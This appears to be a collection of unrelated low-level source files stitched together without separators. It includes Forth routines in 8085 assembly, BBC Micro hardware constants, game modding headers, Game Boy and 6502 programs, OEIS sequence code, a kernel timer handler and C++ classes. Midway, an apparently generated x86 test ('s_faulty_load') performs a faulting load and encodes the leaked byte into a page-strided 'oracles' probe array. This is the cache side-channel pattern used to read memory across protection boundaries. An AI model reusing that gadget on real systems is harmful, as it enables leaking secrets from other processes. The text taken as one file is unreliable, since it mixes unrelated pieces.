; DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY ; DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF ; THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ====================================================================== ; DOUBLE Words ; ====================================================================== ; ---------------------------------------------------------------------- ; D. [DOUBLE] 8.6.1.0160 "d-dot" ( d -- ) ; ; Display d in free field format. ; ; --- ; : D. ( d -- ) ; BASE @ 10 <> IF UD. EXIT THEN ; 2DUP D0< >R DABS <# #S R> SIGN #> TYPE SPACE ; LINKTO(LINK_DOUBLE,0,2,'.',"D") DDOT: JMP ENTER .WORD BASE,FETCH,LIT,10,NOTEQUALS,zbranch,_ddot1,UDDOT,EXIT _ddot1: .WORD TWODUP,DZEROLESS,TOR .WORD DABS,LESSNUMSIGN,NUMSIGNS,RFROM,SIGN,NUMSIGNGRTR .WORD TYPE,SPACE .WORD EXIT ; ---------------------------------------------------------------------- ; D- [DOUBLE] 8.6.1.1050 "d-minus" ( d1|ud1 d2|ud2 -- d3|ud3 ) ; ; Subtract d2|ud2 from d1|ud1, giving the difference d3|ud3. LINKTO(DDOT,0,2,'-',"D") DMINUS: SAVEDE LDES 0 ; Get the address of d2 XCHG ; ..and move that address into HL LDES 4 ; Get the address of d1 into DE. ANA A ; Clear the carry flag. LDAX D ; Get d1ll into A, SUB M ; ..subtract d2ll from d1ll, STAX D ; ..and put the result into d1ll. INX D ; Increment to d1lh. INX H ; Increment to d2lh. LDAX D ; Get d1lh into A, SBB M ; ..subtract d2lh from d1l, STAX D ; ..and put the result into d1lh. INX D ; Increment to d1hl. INX H ; Increment to d2hl. LDAX D ; Get d1hl into A, SBB M ; ..subtract d2hl from d1hl, STAX D ; ..and put the result into d1hl. INX D ; Increment to d1hh. INX H ; Increment to d2hh. LDAX D ; Get d1hh into A, SBB M ; ..subtract d2hh from d1hh, STAX D ; ..and put the result into d1hh. POP H ; Pop d2l. POP H ; Pop d2h. RESTOREDE NEXT ; ---------------------------------------------------------------------- ; D0< [DOUBLE] 8.6.1.1075 "d-zero-less" ( d -- flag ) ; ; flag is true if and only if d is less than zero. ; ; --- ; : D0< ( d -- flag) SWAP DROP 0< ; LINKTO(DMINUS,0,3,'<',"0D") DZEROLESS: JMP ENTER .WORD SWAP,DROP,ZEROLESS,EXIT ; ---------------------------------------------------------------------- ; D2* [DOUBLE] 8.6.1.1090 "d-two-star" ( xd1 -- xd2 ) ; ; xd2 is the result of shifting xd1 one bit toward the most-significant ; bit, filling the vacated least-significant bit with zero. LINKTO(DZEROLESS,0,3,'*',"2D") DTWOSTAR: POP H ; Pop xd1h, XTHL ; ..then swap it for xd1l. DAD H ; Double xd1l. XTHL ; Swap xd2l with xd1h. JNC _dtwostar1 ; No carry? Then just double xd1h, DAD H ; ..otherwise double xd1h INX H ; ..and then propagate the carry. JMP _dwostarDONE; We're done. _dtwostar1: DAD H ; No carry bit, so just double xd1h. _dwostarDONE:PUSH H ; Push xd2h to the stack. NEXT ; ---------------------------------------------------------------------- ; DABS [DOUBLE] 8.6.1.1160 "d-abs" ( d -- ud ) ; ; ud is the absolute value of d. ; ; --- ; : DABS ( d -- ud ) DUP ?DNEGATE ; LINKTO(DTWOSTAR,0,4,'S',"BAD") DABS: JMP ENTER .WORD DUP,QDNEGATE,EXIT ; ---------------------------------------------------------------------- ; DNEGATE [DOUBLE] 8.6.1.1230 ( d1 -- d2 ) ; ; d2 is the negation of d1. ; ; --- ; : DNEGATE ( d1 -- d2) INVERT SWAP INVERT SWAP 1 M+ ; LINKTO(DABS,0,7,'E',"TAGEND") DNEGATE: JMP ENTER .WORD INVERT,SWAP,INVERT,SWAP,ONE,MPLUS,EXIT ; ---------------------------------------------------------------------- ; M+ [DOUBLE] 8.6.1.1830 "m-plus" ( d1|ud1 n -- d2|ud2 ) ; ; Add n to d1|ud1, giving the sum d2|ud2. LINKTO(DNEGATE,0,2,'+',"M") LAST_DOUBLE: MPLUS: SAVEDE POP D ; Pop n into DE. POP H ; Pop the high 16-bits of d1|ud1 into HL XTHL ; ..and swap that value with the low 16-bits. DAD D ; Add n to the low 16-bits of d1|ud1. XTHL ; Swap the high and low 16-bits again. JNC _mplusDONE ; We're done if there was no carry. INX H ; Increment the high 16-bits on carry. _mplusDONE: PUSH H ; Push the high 16-bits back onto the stack. RESTOREDE NEXT
; OS function vectors USERV = &0200 BRKV = &0202 IRQ1V = &0204 IRQ2V = &0206 CLIV = &0208 BYTEV = &020A WORDV = &020C WRCHV = &020E RDCHV = &0210 FILEV = &0212 ARGSV = &0214 BGETV = &0216 BPUTV = &0218 GBPBV = &021A FINDV = &021C FSCV = &021E EVNTV = &0220 UPTV = &0222 NETV = &0224 VDUV = &0226 KEYV = &0228 INSBV = &022A REMVB = &022C CNPV = &022E IND1V = &0230 IND2V = &0232 IND3V = &0234 ; OS function call locations OSFSC = &F1B1 ; filing system control (entry via FSCV) OSWRSC = &FFB3 ; write byte to screen OSRDSC = &FFB9 ; read byte from screen OSNULL = &FFA6 ; blank function handler (just an RTS) VDUCHR = &FFBC ; VDU character output OSEVEN = &FFBF ; generate an EVENT GSINIT = &FFC2 ; initialise OS string GSREAD = &FFC5 ; read character from input stream NVRDCH = &FFC8 ; non vectored OSRDCH NVWRCH = &FFCB ; non vectored OSWRCH OSFIND = &FFCE ; open or close a file OSGBPB = &FFD1 ; transfer block to or from a file (get block / put block) OSBPUT = &FFD4 ; save a byte to file OSBGET = &FFD7 ; get a byte from file OSARGS = &FFDA ; read or write file attributes OSFILE = &FFDD ; read or write a complete file OSRDCH = &FFE0 ; get a byte from current input stream OSASCI = &FFE3 ; output a byte to VDU stream expanding CR (&0D) to LF/CR (&0A,&0D) OSNEWL = &FFE7 ; output a LF/CR to VDU stream OSWRCH = &FFEE ; output a character to the VDU stream OSWORD = &FFF1 ; perform operation using parameter table OSBYTE = &FFF4 ; perform operation on single byte OSCLI = &FFF7 ; pass string to command line interpreter ; System hardware FREDBASE = &FC00 ; memory mapped hardware JIMBASE = &FD00 ; 64K paged memory SHEILABASE = &FE00 ; system peripherals ; 6845 CRTC CRTC00 = SHEILABASE+&00 ; address register (5 bit) CRTC01 = SHEILABASE+&01 ; data register ; 6850 ACIA ACIA08 = SHEILABASE+&08 ; Control / Status ACIA09 = SHEILABASE+&09 ; Data ; Serial ULA ; Video ULA ULA_VID20 = SHEILABASE+&20 ; video control register ULA_VID21 = SHEILABASE+&21 ; colour palette ULA_VID22 = SHEILABASE+&22 ; border control ULA_VID23 = SHEILABASE+&23 ; 24-bit palette selection ; Paged ROM selector PAGEROM = SHEILABASE+&30 ; paged ROM select (4 bit) ; 6522 System VIA SYSVIA_REGB = SHEILABASE+&40 SYSVIA_REGA = SHEILABASE+&41 SYSVIA_DDRB = SHEILABASE+&42 SYSVIA_DDRA = SHEILABASE+&43 ; 6522 User/Printer VIA USERVIA_REGB = SHEILABASE+&60 ; User port USERVIA_REGA = SHEILABASE+&61 ; Printer port USERVIA_DDRB = SHEILABASE+&62 USERVIA_DDRA = SHEILABASE+&63 ; 8271 FDC FDC_STATUS = SHEILABASE+&80 FDC_RESULT = SHEILABASE+&81 FDC_COMMAND = SHEILABASE+&80 FDC_PARAM = SHEILABASE+&81 FDC_RESET = SHEILABASE+&82 FDC_DATA = SHEILABASE+&84 ; 68B54 Econet ; uPD7002 ADC ; Tube ULA ; Other constants MODE0BASE = &3000 MODE1BASE = &3000 MODE2BASE = &3000 MODE3BASE = &4000 MODE4BASE = &5800 MODE5BASE = &5800 MODE6BASE = &6000 MODE7BASE = &7C00 ROMSBASE = &8000 ; Zero page availibility ; &00 to &6F - available to machine code programs not using BASIC ; &70 to &8F - reserved by BASIC for the user ; Colours in mode 1 ; ; Default logical colours : ; ; 0 black (0) ; 1 red (1) ; 2 yellow (3) ; 3 white (7) ; ; Actual colours : ; ; 0 black ; 1 red ; 2 green ; 3 yellow ; 4 blue ; 5 magenta ; 6 cyan ; 7 white
#pragma once // ARKSurvivalEvolved (329.9) SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "ARKSurvivalEvolved_Liopleurodon_AnimBP_classes.hpp" namespace sdk { //--------------------------------------------------------------------------- //Parameters //--------------------------------------------------------------------------- // Function Liopleurodon_AnimBP.Liopleurodon_AnimBP_C.ExecuteUbergraph_Liopleurodon_AnimBP struct ULiopleurodon_AnimBP_C_ExecuteUbergraph_Liopleurodon_AnimBP_Params { int EntryPoint; // (Parm, ZeroConstructor, IsPlainOldData) }; } #ifdef _MSC_VER #pragma pack(pop) #endif
; A175029: a(n)=2*n if n is prime, otherwise a(n)=3*n. ; 3,4,6,12,10,18,14,24,27,30,22,36,26,42,45,48,34,54,38,60,63,66,46,72,75,78,81,84,58,90,62,96,99,102,105,108,74,114,117,120,82,126,86,132,135,138,94,144,147,150,153,156,106,162,165,168,171,174,118,180,122,186 mov $1,1 max $1,$0 mov $2,$0 seq $0,66247 ; Characteristic function of composite numbers: 1 if n is composite else 0. add $1,$0 add $1,2 lpb $0 sub $0,1 add $1,$2 lpe add $1,$2 mov $0,$1
.size 8000 .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld c, 44 ld b, 91 lbegin_waitly91: ldff a, (c) cmp a, b jrnz lbegin_waitly91 xor a, a ldff(40), a ld a, 80 ldff(68), a xor a, a ldff(69), a ldff(69), a ld a, 86 ldff(68), a ld a, ff ldff(69), a ldff(69), a ld hl, 8000 xor a, a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a dec a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld hl, 9800 ld a, 00 ld b, 03 lbegin_fill_bgmap0: ld c, 00 lbegin_fill_bgmap0_inner: ld(hl++), a dec c jrnz lbegin_fill_bgmap0_inner dec b jrnz lbegin_fill_bgmap0 ld hl, 9c00 ld a, 01 ld b, 03 lbegin_fill_bgmap1: ld c, 00 lbegin_fill_bgmap1_inner: ld(hl++), a dec c jrnz lbegin_fill_bgmap1_inner dec b jrnz lbegin_fill_bgmap1 ld hl, 9c00 ld a, 00 ld de, 0021 ld b, 20 lbegin_set_bgmap1_start00skip21: ld(hl), a add hl, de dec b jrnz lbegin_set_bgmap1_start00skip21 ld a, 03 ldff(47), a ld a, 48 ldff(4a), a ld a, a6 ldff(4b), a ld a, f1 ldff(40), a ld a, 07 ldff(43), a limbo: jr limbo
START: LDA #$FF ; Set all bits in PORTB to be output bits STA $B402 LDA #$01 ; Start the count with 1 (so that a shift can work) STA $B400 ; Output to PORTB JSR DELAY ; Delay for a bit LEFT: ASL ; Shift left STA $B400 ; Output to PORTB JSR DELAY ; Delay for a bit CMP #$80 ; Cycle until 128 is reached BNE LEFT RIGHT: LSR ; Right shift STA $B400 ; Output to PORTB JSR DELAY ; Delay for a bit CMP #$01 ; Cycle until we're back down to 1 BNE RIGHT JMP LEFT ; Repeat DELAY: ; Delay subroutine LDY #$00 ; Initialize X and Y registers LDX #$00 LOOP1: INY ; Count Y up LOOP2: INX ; Count X up CPX #$02 ; Cycles for X BNE LOOP2 CPY #$01 ; Cycles for Y BNE LOOP1 RTS ; Return from subroutine
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" #include "beatsaber-hook/shared/utils/byref.hpp" // Including type: UnityEngine.MonoBehaviour #include "UnityEngine/MonoBehaviour.hpp" // Including type: HMUI.ViewController #include "HMUI/ViewController.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Begin forward declares // Forward declaring namespace: HMUI namespace HMUI { } // Forward declaring namespace: System::Collections namespace System::Collections { // Forward declaring type: IEnumerator class IEnumerator; } // Completed forward declares // Type namespace: HMUI namespace HMUI { // Forward declaring type: Screen class Screen; } #include "beatsaber-hook/shared/utils/il2cpp-type-check.hpp" NEED_NO_BOX(::HMUI::Screen); DEFINE_IL2CPP_ARG_TYPE(::HMUI::Screen*, "HMUI", "Screen"); // Type namespace: HMUI namespace HMUI { // Size: 0x21 #pragma pack(push, 1) // Autogenerated type: HMUI.Screen // [TokenAttribute] Offset: FFFFFFFF // [RequireComponent] Offset: 1239EF4 class Screen : public ::UnityEngine::MonoBehaviour { public: // Nested type: ::HMUI::Screen::$TransitionCoroutine$d__5 class $TransitionCoroutine$d__5; #ifdef USE_CODEGEN_FIELDS public: #else #ifdef CODEGEN_FIELD_ACCESSIBILITY CODEGEN_FIELD_ACCESSIBILITY: #else protected: #endif #endif // private HMUI.ViewController _rootViewController // Size: 0x8 // Offset: 0x18 ::HMUI::ViewController* rootViewController; // Field size check static_assert(sizeof(::HMUI::ViewController*) == 0x8); // private System.Boolean _isBeingDestroyed // Size: 0x1 // Offset: 0x20 bool isBeingDestroyed; // Field size check static_assert(sizeof(bool) == 0x1); public: // Deleting conversion operator: operator ::System::IntPtr constexpr operator ::System::IntPtr() const noexcept = delete; // Get instance field reference: private HMUI.ViewController _rootViewController ::HMUI::ViewController*& dyn__rootViewController(); // Get instance field reference: private System.Boolean _isBeingDestroyed bool& dyn__isBeingDestroyed(); // public System.Boolean get_isBeingDestroyed() // Offset: 0x168767C bool get_isBeingDestroyed(); // public System.Void SetRootViewController(HMUI.ViewController newRootViewController, HMUI.ViewController/HMUI.AnimationType animationType) // Offset: 0x1687684 void SetRootViewController(::HMUI::ViewController* newRootViewController, ::HMUI::ViewController::AnimationType animationType); // private System.Collections.IEnumerator TransitionCoroutine(HMUI.ViewController newRootViewController, HMUI.ViewController/HMUI.AnimationType animationType) // Offset: 0x1687764 ::System::Collections::IEnumerator* TransitionCoroutine(::HMUI::ViewController* newRootViewController, ::HMUI::ViewController::AnimationType animationType); // protected System.Void OnDestroy() // Offset: 0x1687814 void OnDestroy(); // public System.Void .ctor() // Offset: 0x1687820 // Implemented from: UnityEngine.MonoBehaviour // Base method: System.Void MonoBehaviour::.ctor() // Base method: System.Void Behaviour::.ctor() // Base method: System.Void Component::.ctor() // Base method: System.Void Object::.ctor() // Base method: System.Void Object::.ctor() template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary> static Screen* New_ctor() { static auto ___internal__logger = ::Logger::get().WithContext("::HMUI::Screen::.ctor"); return THROW_UNLESS((::il2cpp_utils::New<Screen*, creationType>())); } }; // HMUI.Screen #pragma pack(pop) static check_size<sizeof(Screen), 32 + sizeof(bool)> __HMUI_ScreenSizeCheck; static_assert(sizeof(Screen) == 0x21); } #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" // Writing MetadataGetter for method: HMUI::Screen::get_isBeingDestroyed // Il2CppName: get_isBeingDestroyed template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<bool (HMUI::Screen::*)()>(&HMUI::Screen::get_isBeingDestroyed)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(HMUI::Screen*), "get_isBeingDestroyed", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: HMUI::Screen::SetRootViewController // Il2CppName: SetRootViewController template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (HMUI::Screen::*)(::HMUI::ViewController*, ::HMUI::ViewController::AnimationType)>(&HMUI::Screen::SetRootViewController)> { static const MethodInfo* get() { static auto* newRootViewController = &::il2cpp_utils::GetClassFromName("HMUI", "ViewController")->byval_arg; static auto* animationType = &::il2cpp_utils::GetClassFromName("HMUI", "ViewController/AnimationType")->byval_arg; return ::il2cpp_utils::FindMethod(classof(HMUI::Screen*), "SetRootViewController", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{newRootViewController, animationType}); } }; // Writing MetadataGetter for method: HMUI::Screen::TransitionCoroutine // Il2CppName: TransitionCoroutine template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::System::Collections::IEnumerator* (HMUI::Screen::*)(::HMUI::ViewController*, ::HMUI::ViewController::AnimationType)>(&HMUI::Screen::TransitionCoroutine)> { static const MethodInfo* get() { static auto* newRootViewController = &::il2cpp_utils::GetClassFromName("HMUI", "ViewController")->byval_arg; static auto* animationType = &::il2cpp_utils::GetClassFromName("HMUI", "ViewController/AnimationType")->byval_arg; return ::il2cpp_utils::FindMethod(classof(HMUI::Screen*), "TransitionCoroutine", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{newRootViewController, animationType}); } }; // Writing MetadataGetter for method: HMUI::Screen::OnDestroy // Il2CppName: OnDestroy template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (HMUI::Screen::*)()>(&HMUI::Screen::OnDestroy)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(HMUI::Screen*), "OnDestroy", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: HMUI::Screen::New_ctor // Il2CppName: .ctor // Cannot get method pointer of value based method overload from template for constructor! // Try using FindMethod instead!
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x7f5c, %r12 clflush (%r12) nop sub %rbx, %rbx and $0xffffffffffffffc0, %r12 vmovntdqa (%r12), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rax nop nop nop cmp $64344, %r15 lea addresses_normal_ht+0x177dc, %r14 nop nop cmp $15202, %r8 vmovups (%r14), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rbp nop nop nop nop xor $34638, %rbx lea addresses_WC_ht+0x1ebdc, %r8 nop nop nop nop add %r15, %r15 mov $0x6162636465666768, %r14 movq %r14, %xmm2 vmovups %ymm2, (%r8) nop nop nop dec %rbx lea addresses_normal_ht+0x17edc, %rbp nop sub %r14, %r14 mov $0x6162636465666768, %rax movq %rax, %xmm0 vmovups %ymm0, (%rbp) nop nop nop nop nop sub $17972, %rbp lea addresses_D_ht+0x525c, %rax clflush (%rax) nop nop sub $56867, %rbx movb (%rax), %r8b nop nop add $29356, %rbp lea addresses_A_ht+0x1bdc, %rax nop nop nop nop nop inc %rbp movb $0x61, (%rax) nop nop nop nop nop sub $51487, %rbp lea addresses_UC_ht+0x71bc, %r15 nop nop nop nop xor %rax, %rax movw $0x6162, (%r15) nop sub %rax, %rax lea addresses_WC_ht+0x15310, %rsi lea addresses_D_ht+0x46d4, %rdi nop nop and %r14, %r14 mov $101, %rcx rep movsq nop nop nop nop nop add $31372, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %r9 push %rax push %rcx // Store mov $0x10c13f000000031c, %rcx nop nop nop xor $14559, %r8 movw $0x5152, (%rcx) nop cmp $37531, %rax // Store lea addresses_PSE+0x12e5c, %r12 nop nop and $13000, %r10 movl $0x51525354, (%r12) nop nop nop inc %r12 // Store lea addresses_WT+0x2f4, %r12 nop nop nop and $62056, %r9 mov $0x5152535455565758, %rcx movq %rcx, %xmm0 movups %xmm0, (%r12) nop nop sub $27344, %r9 // Faulty Load lea addresses_RW+0x183dc, %r10 nop nop nop nop nop sub %rax, %rax movups (%r10), %xmm1 vpextrq $0, %xmm1, %r12 lea oracles, %r9 and $0xff, %r12 shlq $12, %r12 mov (%r9,%r12,1), %r12 pop %rcx pop %rax pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}} {'32': 154} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; A132764: a(n) = n*(n+22). ; 0,23,48,75,104,135,168,203,240,279,320,363,408,455,504,555,608,663,720,779,840,903,968,1035,1104,1175,1248,1323,1400,1479,1560,1643,1728,1815,1904,1995,2088,2183,2280,2379,2480,2583,2688,2795,2904,3015,3128,3243,3360 mov $1,$0 add $1,22 mul $0,$1
;; ;; Copyright (c) 2021 Antti Tiihala ;; ;; Permission to use, copy, modify, and/or distribute this software for any ;; purpose with or without fee is hereby granted, provided that the above ;; copyright notice and this permission notice appear in all copies. ;; ;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ;; ;; base/a64/timer.asm ;; Kernel timer ;; bits 64 section .text extern timer_handler extern timer_handler_ap global timer_apic_base global timer_asm_handler_apic global timer_asm_handler_apic_ap global timer_asm_handler_pic global timer_read align 64 ; const uint8_t timer_asm_handler_apic[] timer_asm_handler_apic: push rax ; save register rax push rcx ; save register rcx push rdx ; save register rdx ; uint8_t timer_apic_base[8] db 0x48, 0xBA ; "mov rdx, [timer_apic_base]" timer_apic_base: db 0,0,0,0,0,0,0,0 mov dword [rdx+0xB0], 0 ; end of interrupt mov edx, timer_ticks ; rdx = address of timer_ticks lock inc qword [rdx] ; increment ticks mov edx, timer_ticks_wait ; rdx = address of timer_ticks_wait .L1: mov eax, [rdx] ; read current value test eax, eax ; test zero jz short timer_call_handler lea rcx, [rax-1] ; ecx = decremented wait value lock cmpxchg [rdx], ecx ; try to decrement jnz short .L1 ; retry if needed pop rdx ; restore register rdx pop rcx ; restore register rcx pop rax ; restore register rax iretq align 64 ; const uint8_t timer_asm_handler_pic[] timer_asm_handler_pic: push rax ; save register rax push rcx ; save register rcx push rdx ; save register rdx mov al, 0x20 ; al = 0x20 out 0x20, al ; end of interrupt mov edx, timer_ticks ; rdx = address of timer_ticks lock inc qword [rdx] ; increment ticks mov edx, timer_ticks_wait ; rdx = address of timer_ticks_wait .L1: mov eax, [rdx] ; read current value test eax, eax ; test zero jz short timer_call_handler lea rcx, [rax-1] ; ecx = decremented wait value lock cmpxchg [rdx], ecx ; try to decrement jnz short .L1 ; retry if needed pop rdx ; restore register rdx pop rcx ; restore register rcx pop rax ; restore register rax iretq align 16 timer_call_handler: push rbx ; save register rbx push r8 ; save register r8 push r9 ; save register r9 push r10 ; save register r10 push r11 ; save register r11 mov rbx, rsp ; save stack cld ; clear direction flag and rsp, -16 ; align stack sub rsp, 32 ; shadow space call timer_handler ; call timer_handler mov rsp, rbx ; restore stack pop r11 ; restore register r11 pop r10 ; restore register r10 pop r9 ; restore register r9 pop r8 ; restore register r8 pop rbx ; restore register rbx pop rdx ; restore register rdx pop rcx ; restore register rcx pop rax ; restore register rax iretq align 64 ; const uint8_t timer_asm_handler_apic_ap[] timer_asm_handler_apic_ap: push rax ; save register rax push rcx ; save register rcx push rdx ; save register rdx push rbx ; save register rbx push r8 ; save register r8 push r9 ; save register r9 push r10 ; save register r10 push r11 ; save register r11 mov rbx, rsp ; save stack cld ; clear direction flag mov edx, timer_apic_base ; rdx = address of timer_apic_base mov rax, [rdx] ; rax = timer_apic_base mov dword [rax+0xB0], 0 ; end of interrupt and rsp, -16 ; align stack sub rsp, 32 ; shadow space call timer_handler_ap ; call timer_handler_ap mov rsp, rbx ; restore stack pop r11 ; restore register r11 pop r10 ; restore register r10 pop r9 ; restore register r9 pop r8 ; restore register r8 pop rbx ; restore register rbx pop rdx ; restore register rdx pop rcx ; restore register rcx pop rax ; restore register rax iretq align 16 ; uint64_t timer_read(void) timer_read: mov edx, timer_ticks_64 ; rdx = address of timer_ticks_64 mov rax, [rdx] ; rax = ticks ret section .data global timer_ticks global timer_ticks_64 global timer_ticks_wait align 16 ; uint32_t timer_ticks timer_ticks: ; uint64_t timer_ticks_64 timer_ticks_64: dd 0, 0 ; uint32_t timer_ticks_wait timer_ticks_wait: dd 0
#include "AimedAnimation.h" #include "Frame.h" #include "basic_ops.h" AimedAnimation::AimedAnimation() :Animation() { //ctor } AimedAnimation::AimedAnimation(ALLEGRO_BITMAP* sheet, int x, int y, int w, int h, int nb) :Animation() { createFromSheet(sheet, y, x, w, h, nb); } AimedAnimation::~AimedAnimation() { clearFrames(); } void AimedAnimation::createFromSheet(ALLEGRO_BITMAP *sheet, int x, int y, int w, int h, int nb) { if (nb <= 0) return ; clearFrames(); for (int i = 0;i < nb;i++) m_frames.push_back(new Frame(sheet, x + (i * w), y, w, h)); } void AimedAnimation::addFrames(ALLEGRO_BITMAP *sheet, int x, int y, int w, int h, int nb) { for (int i = 0;i < nb;i++) m_frames.push_back(new Frame(sheet, x + (i * w), y, w, h)); } void AimedAnimation::clearFrames() { for (const auto& elem : m_frames) delete elem; m_frames.clear(); } ///the number of frames of the animation for the current direction unsigned AimedAnimation::nbFrames() { return m_frames.size(); } ///the current sprite to render Frame* AimedAnimation::getFrame(unsigned frameNumber) { return m_frames.at(frameNumber); } void AimedAnimation::draw(double destx, double desty, unsigned frameNumber) { this->getFrame(frameNumber)->draw(destx, desty, m_aimedDir); } void AimedAnimation::setDirection(double orientation) { m_aimedDir = mod2PI(orientation); }
// Original test: ./freiberg/hw4/problem6/stu_2.asm // Author: freiberg // Test source code follows //in between case lbi r1, 64 lbi r2, 82 stu r2, r1, 18 ld r2, r1, 0 halt
